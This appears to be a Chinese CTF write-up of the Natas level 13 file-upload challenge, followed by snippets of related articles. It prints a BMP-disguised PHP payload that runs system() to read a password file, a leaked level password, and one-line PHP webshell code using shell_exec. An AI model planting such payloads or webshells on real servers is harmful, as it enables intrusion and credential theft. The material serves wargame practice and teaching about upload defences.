Natas Wargame Level 13 Writeup(文件上传漏洞,篡改file signature,Exif)

sourcecode核心代码:

 1 <?
 2
 3 function genRandomString() {
 4     $length = 10;
 5     $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
 6     $string = "";
 7
 8     for ($p = 0; $p < $length; $p++) {
 9         $string .= $characters[mt_rand(0, strlen($characters)-1)];
10     }
11
12     return $string;
13 }
14
15 function makeRandomPath($dir, $ext) {
16     do {
17     $path = $dir."/".genRandomString().".".$ext;
18     } while(file_exists($path));
19     return $path;
20 }
21
22 function makeRandomPathFromFilename($dir, $fn) {
23     $ext = pathinfo($fn, PATHINFO_EXTENSION);
24     return makeRandomPath($dir, $ext);
25 }
26
27 if(array_key_exists("filename", $_POST)) {
28     $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
29
30
31         if(filesize($_FILES[‘uploadedfile‘][‘tmp_name‘]) > 1000) {
32         echo "File is too big";
33     } else if (! exif_imagetype($_FILES[‘uploadedfile‘][‘tmp_name‘])) {
34         echo "File is not an image";
35     } else {
36         if(move_uploaded_file($_FILES[‘uploadedfile‘][‘tmp_name‘], $target_path)) {
37             echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
38         } else{
39             echo "There was an error uploading the file, please try again!";
40         }
41     }
42 } else {
43 ?> 

关键部分已标为红色,该脚本的初期分析参见上一篇writeup。

这是exif_imagetype()的介绍(http://php.net/manual/en/function.exif-imagetype.php)

为什么该函数会通过读取文件的第一个字节签名来判断图片类型呢?

Magic number(https://en.wikipedia.org/wiki/Magic_number_%28programming%29#Magic_numbers_in_other_uses)

List of file signatures(https://en.wikipedia.org/wiki/List_of_file_signatures)

Magic file number(http://www.astro.keele.ac.uk/oldusers/rno/Computing/File_magic.html)

思路一:直接通过篡改file signature将php脚本伪装成

这个地方将php脚本伪装为BMP格式更方便一些,因为BMP格式对应的file signature为字符BM可以用ascii码表示,不需要通过hexeditor等16进制编辑器进行编辑

1 BM<?php $a = system(‘cat /etc/natas_webpass/natas14‘);echo $a;?>

在本地写一个测试文件test2.php

1 <?php echo exif_imagetype(‘test.php‘); ?>

输出结果为6

注意这题依旧是在本地用一个hidden的filename变量”强制“将格式转为jpg,上传前要先把它改成php

思路二:篡改图片的Exif,在其中添加php脚本。

我们可以新建一个图片,在图片的exif中添加php脚本(如comment),当服务器上的php解释器解释php时,它只会理会<?php ?>中的代码,而对其他的文本当做html直接输出。

以下是通过GIM新建图片:

使用hexeditor打开新建的图片:

前4个字节为file signature,以@开始后的一个句子就是php脚本。

上传执行后即可得到flag。

总结:这个题和上个题的根本漏洞就在于管理者将格式控制单元放在了客户端(即那个hidden的filename变量),以为在服务端是通过pathinfo($fn, PATHINFO_EXTENSION)得到格式一定是filename的jpg。然而客户端可以通过篡改filename变量使得服务器将后缀名填写为.php,这个题虽然增加了通过file signature/file magic number来判断文件是否为图片,然而这也是可以篡改的。总之,对客户端的行为完全不能信任,对其上传的文件要给与最低权限,在服务器端一定要有完整验证手段,并且这种手段不能依赖于客户端设置好的非审查变量。

拿到flag:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

时间: 2024-08-09 09:37:11

Natas Wargame Level 13 Writeup(文件上传漏洞,篡改file signature,Exif)的相关文章

文件上传漏洞攻击与防御

前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客,趁着这个机会,便好好梳理一下所学的知识,只是这些文章所写大部分内容也是搬运前辈的文章,鲜有自己所想所悟. 关于文件上传漏洞,百度一下便有许多文章出来,在这里我也稍稍做整理. 0x00 文件上传漏洞所需满足的条件 一是文件可上传(感觉这一句是废话).二是上传文件路径可知,如果路径不可知就没法访问,亦无

文件上传漏洞原理以及防范

1. 什么是文件上传漏洞 程序员由于没有对上传的文件进行严格限定,导致黑客可以通过工具上传其他格式的程序文件(比如:webshell),这样黑客就会拿到一个可执行环境,在服务器上搞破坏. 一个常见的例子,很多网站存在上传图片的功能,如果不对上传图片的扩展名进行检测.过滤就会造成上传漏洞. 2. 如何防范上传漏洞 步骤:前端JS代码限定--->后台代码检测--->取消文件目录执行脚本的权限. 以如何防范图片上传漏洞做个过程分析: 新建一个解决方案: 2.1 第一步前端用JavaScript对上传

文件上传漏洞演示脚本之js验证

文件上传漏洞演示脚本之js验证 0 0 716 关于文件上传漏洞,想必玩web安全的同学们都有接触,之前本站也发布过一篇文章介绍文件上传漏洞的各种绕过方法,但是只是有文档却没有演示代码,最近给公司一客户培训,就照文档中的绕过写出了相应的代码,方便我等小菜研究,此次的文章我会连续发几天都是关于如何绕过的,全都是科普文,很简单的,希望小伙伴们喜欢. 关于文件上传漏洞的文章 绕过文件上传验证 为什么文件上传表单是主要的安全威胁 js验证绕过演示代码 01 <?php 02 /** 03  * Crea

【Web安全】文件上传漏洞原理分析

0x01 文件上传漏洞简介 为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率.企业支持门户,给用户各企业员工有效地共享文件.允许用户上传图片,视频,头像和许多其他类型的文件.向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的.上传文件本身没有错,问题与漏洞在于服务器怎么处理上传的文件. 0x0

文件上传漏洞(绕过姿势)

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用.此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议.(根据个人经验总结,欢迎补充纠错~~) 文件上传校验姿势 客户端javascript校验(一般只校验后缀名) 服务端校验 文件头content-type

利用文件上传漏洞渗透某传销服务器

Simeon 本文已投i春秋 https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=30085&page=1#pid389491 对于传销网站的服务器来说,目前都防护较强,使用安全狗等软硬件防范,但由于最终使用该产品的必须由人来实现,当获取webshell的情况下,通过一些技术手段可以绕过防火墙的防护,从而登录并获取服务器权限.下面分享一个通过文件上传漏洞获取webshell以及图片安全狗的防范获取服务器权限. 1.1通过文件上传获取w

WebLogic任意文件上传漏洞(CVE-2019-2618)

WebLogic任意文件上传漏洞(CVE-2019-2618) 0x01 漏洞描述 漏洞介绍 CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件.攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限. 影响版本 WebLogic 10.3.6.0

集训第六天:文件上传漏洞

韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用. 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件.脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP.ASP.JSP.ASP.NET等不同语言下的木马:根据作用分类,有大马和小马 PHP一句话木马: <?php ehco shell_exec($_GET['a']); ?> <?php ehco shell_exec($_POST

Web应用安全之文件上传漏洞详解

什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这样的攻击.文件上传为什么会是漏洞呢?文件上传本身是没有问题的,问题是文件上传后看服务器怎么来处理,怎么来解析这个文件.如果说服务器处理的模式不够安全,那么就会导致严重的后果,也就是上传了恶意的可执行文件以后,服务器端对此文件进行执行. 文件上传后导致的安全问题 上传的文件是web脚本语言,服务器的w